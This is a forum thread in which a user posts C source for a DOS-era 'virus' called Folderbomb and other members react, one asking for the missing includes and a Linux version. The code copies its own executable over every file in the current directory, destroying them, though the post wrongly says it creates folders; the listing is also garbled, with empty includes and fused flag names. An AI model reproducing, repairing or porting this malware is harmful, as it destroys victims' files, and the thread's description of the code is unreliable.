Naija Talk community
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Naija Talk community

Ghana Lotto Results, F-t-a Satellite Technology, Sport forcast, ICT forum.
 
HomePublicationsSearchLatest imagesRegisterLog in

 

 Writing virus in C

Go down 
+3
buzz_tech
oscar4free2air
uu001
7 posters
AuthorMessage
uu001
Novice
Novice



Posts : 37

Writing virus in C Empty
PostSubject: Writing virus in C   Writing virus in C Empty2011-12-26, 12:45

You can write this with VB or Notepad.
C is a programming language in case you don't know:
/it will create folder upon folders until your system is bust out

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
Back to top Go down
oscar4free2air
Senior
Senior
oscar4free2air


Posts : 1365
Location : central 9ja

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2011-12-26, 13:25

nah wah wo.....
Back to top Go down
buzz_tech
Amateur
Amateur
buzz_tech


Sex : male
Posts : 159

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2011-12-26, 17:41

Hmm!
Back to top Go down
buzz_tech
Amateur
Amateur
buzz_tech


Sex : male
Posts : 159

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2011-12-26, 17:43

why create folder upon folder till my system or someone else system is burst out.
what will be my benefits or for just fun...trojan horse in the making...lol
Back to top Go down
lawalahmed
Enthusiast
Enthusiast
lawalahmed


Sex : male
Posts : 1911

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2011-12-26, 23:44

Are u a white Hacker or Black Hacker...
Back to top Go down
http://www.medoriansports.blogspot.com
nessus
Novice
Novice



Sex : male
Posts : 1

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2013-01-06, 12:55

First thank you for your code.
Can you fill the includes, may be because i am new to c programming i can not fill them.
And Can you write similar code for Linux platform.

Smile Thank U so much.
Back to top Go down
Gmailer
Leader
Leader
Gmailer


Sex : Male
Posts : 6332

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2013-01-06, 14:51

Interesting topic for those that care. Good job though
Back to top Go down
hibeeke
Enthusiast
Enthusiast
hibeeke


Posts : 1635

Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty2013-01-06, 16:09

If you wrote this yourself, dawn you are good. Did you write it yourself really?
Back to top Go down
Sponsored content





Writing virus in C Empty
PostSubject: Re: Writing virus in C   Writing virus in C Empty

Back to top Go down
 
Writing virus in C
Back to top 
Page 1 of 1
 Similar topics
-
» HOW TO PROTECT YOUR COMPUTER AND PENDRIVE FROM VIRUS WITH OUT USING ANY ANTI VIRUS PROTECTION SOFTWARES( SMALL TUTORIAL)
» Batch file virus: Virus Created By uu001
» Make $20 for writing on anything you like for free.
» IGBO TRADER WRITING WAEC EXAM
» Kashamu: Obasanjo’s motive for writing book suspect

Permissions in this forum:You cannot reply to topics in this forum
Naija Talk community :: Africa's no.1 Satellite Technology forum-
Jump to: